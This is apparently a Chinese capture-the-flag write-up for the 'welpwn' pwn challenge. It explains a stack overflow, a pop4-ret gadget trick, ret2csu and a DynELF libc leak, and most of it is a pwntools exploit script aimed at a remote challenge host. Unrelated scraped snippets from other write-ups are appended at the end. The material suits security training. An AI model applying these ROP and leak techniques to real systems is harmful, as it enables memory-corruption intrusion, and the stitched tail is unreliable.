攻防世界welpwn解題方法

2021-10-14 04:12:21 字數 4661 閱讀 3384

題目很程式很簡單,輸入字串,將遇到\x00前的字元拷貝給s2陣列,如果拷貝數量大於s2在棧上的空間就會發生溢位,可以覆蓋到ret的位置從而控制程式流。

需要注意的是覆蓋ret用的位址肯定會包含\x00,因此構造的rop鏈會斷開,所以需要想辦法。

解決辦法為通過一串pop ret指令將棧上內容彈出,然後直接連線到buf所在位置繼續rop鏈的執行。

輸入buf後棧空間如下所示,可以看出在ret指令的位置填入乙個具有四個pop再加乙個ret的位址剛好能彈出buf中已經用掉的4*0x8個位元組,然後就能續上後面的rop鏈 棧

s2aaaaaaaa

aaaaaaaa

ebpebp_ebp_

retpop4_ret

bufaaaaaaaa

aaaaaaaa

ebp_ebp_

pop4_ret

rop鏈

…題目沒有給libc.so檔案,這裡嘗試過使用libcseacher查詢libc,但是失敗了,因此本題採用dynelf查詢system的位址。dynelf的原理是從記憶體中讀取不同位址的內容從而逐步定位到libc的載入位址,從而得到system的位址,因此適用面比較廣。

這裡需要注意的是,題目中不僅有write輸出,還有printf輸出,而printf會先輸出到緩衝區,等緩衝區滿了或遇到fflush函式或遇到回車符才輸出,因此先執行的printf會比後執行的write函式後輸出內容,這對我們recv()字元造成了一些麻煩,需要仔細處理。

因此本文的解決方法是在傳送payload前不使用recvuntil()函式定位傳送的時機,反正題目只有乙個輸出的點,不會出問題。在leak函式裡面通過recvuntil()消耗掉printf的輸出,避免下次recv(8)時讀錯內容。

另:dynelf的leak函式最好用write來洩漏位址,因為puts遇到\x00就截斷了,而write不受限制。但write有3個輸入引數,因此通過ret2csu的方法來構造引數以及呼叫write。

from pwn import

*from libcsearcher import

*import time

pe =

"./welpwn"

arch =

'amd64'

context.update(arch=arch,os=

'linux'

,log_level=

'info'

)debug =

false

elf = elf(pe)

if debug:

if arch==

'amd64'

: libc = elf(

'/lib/x86_64-linux-gnu/libc.so.6'

)else

: libc = elf(

'/lib/i386-linux-gnu/libc.so.6'

) r = process(pe)

else

:#libc = elf('./libc.so.6')

r = remote(

'220.249.52.134'

,42893

)

se =

lambda data :r.send(data)

sa =

lambda delim,data :r.sendafter(delim, data)

sl =

lambda data :r.sendline(data)

sla =

lambda delim,data :r.sendlineafter(delim, data)

sea =

lambda delim,data :r.sendafter(delim, data)

rc =

lambda numb=

4096

:r.recv(numb)

rl =

lambda

:r.recvline(

)ru =

lambda delims :r.recvuntil(delims)

uu32 =

lambda data :u32(data.ljust(4,

'\0'))

uu64 =

lambda data :u64(data.ljust(8,

'\0'))

info_addr =

lambda tag, addr :r.info(tag +

': '

.format

(addr)

)def

debug

(addr=

0,pie=

false):

time.sleep(1)

if pie:

text_base =

int(os.popen(

"pmap {}| awk '}'"

.format

(r.pid)

).readlines()[

1],16

)print

("breakpoint_addr --> "

+hex

(text_base + addr)

) gdb.attach(r,

'b *{}'

.format

(hex

(text_base+addr)))

else

: gdb.attach(r,

"b *{}"

.format

(hex

(addr)))

time.sleep(1)

defmsg

(msg,addr)

: log.warn(msg +

"--> "

+hex

(addr)

)#debug(0x4007cc)

main =

0x00000000004007cd

pop4_ret =

0x000000000040089c

pop_rdi_ret =

0x00000000004008a3

csu =

0x000000000040089a

csu0 =

0x0000000000400880

fini_ret =

0x00000000004008b0

write_plt = elf.sym[

"write"

]write_got = elf.got[

"write"

]def

leak

(address)

: msg(

"address"

,address)

payload = b'a'

*0x10\

+ b'rbp_'*2\

+ p64(pop4_ret)\

+ p64(csu)\

+ p64(0)

+p64(1)

+p64(write_got)

+p64(9)

+p64(address)

+p64(1)\

+ p64(csu0)\

+ p64(0)

+p64(0)

+p64(1)

+p64(fini_ret)

+p64(9)

+p64(address)

+p64(1)\

+ p64(main)

se(payload)

data = rc(8)

ru(b"\x9c\x08\x40"

)#消耗掉printf的輸出,b"\x9c\x08\x40"是pop4_ret的位址內容,遇到\x00結束,所以結尾是這個

print

(data)

return data

ru("welcome to rctf\n"

)d = dynelf(leak, main, elf=elf)

system_addr = d.lookup(

'system'

,'libc'

)binsh_addr =

0x00000000004003d3

+0x4

#sh的位址

攻防世界PWN之Welpwn題解

首先用ida檢視 發現主函式不能棧溢位,我們看看echo這個函式 echo會把主函式輸入的字串複製到區域性的s2裡,並且s2只有16位元組,可以造成溢位。echo函式先迴圈複製字元到s2,如果遇到0,就結束複製,然後輸出s2。因此,我們如果想直接覆蓋函式返回位址,那麼我們的目標函式必須沒有引數,否則...

攻防世界mfw 攻防世界 Web mfw

題目資訊 image.png 工具 githack,dirsearch 知識點 git漏洞 審計 開啟題目場景,檢查 發現這樣乙個頁面 image.png 訪問.git目錄,疑似存在git原始碼洩露 image.png 再用dirsearch掃瞄,發現git原始碼洩露 使用 githack獲取原始碼...

攻防世界新手區MISC方向解題1

this is flag 題目描述 most flags are in the form flag,for example flag 解法 要找flag,題目中給出了flag,即for example 後面的內容 答案 flag 知識總結 flag 標誌暫存器 又稱程式狀態暫存器 它的內容是prog...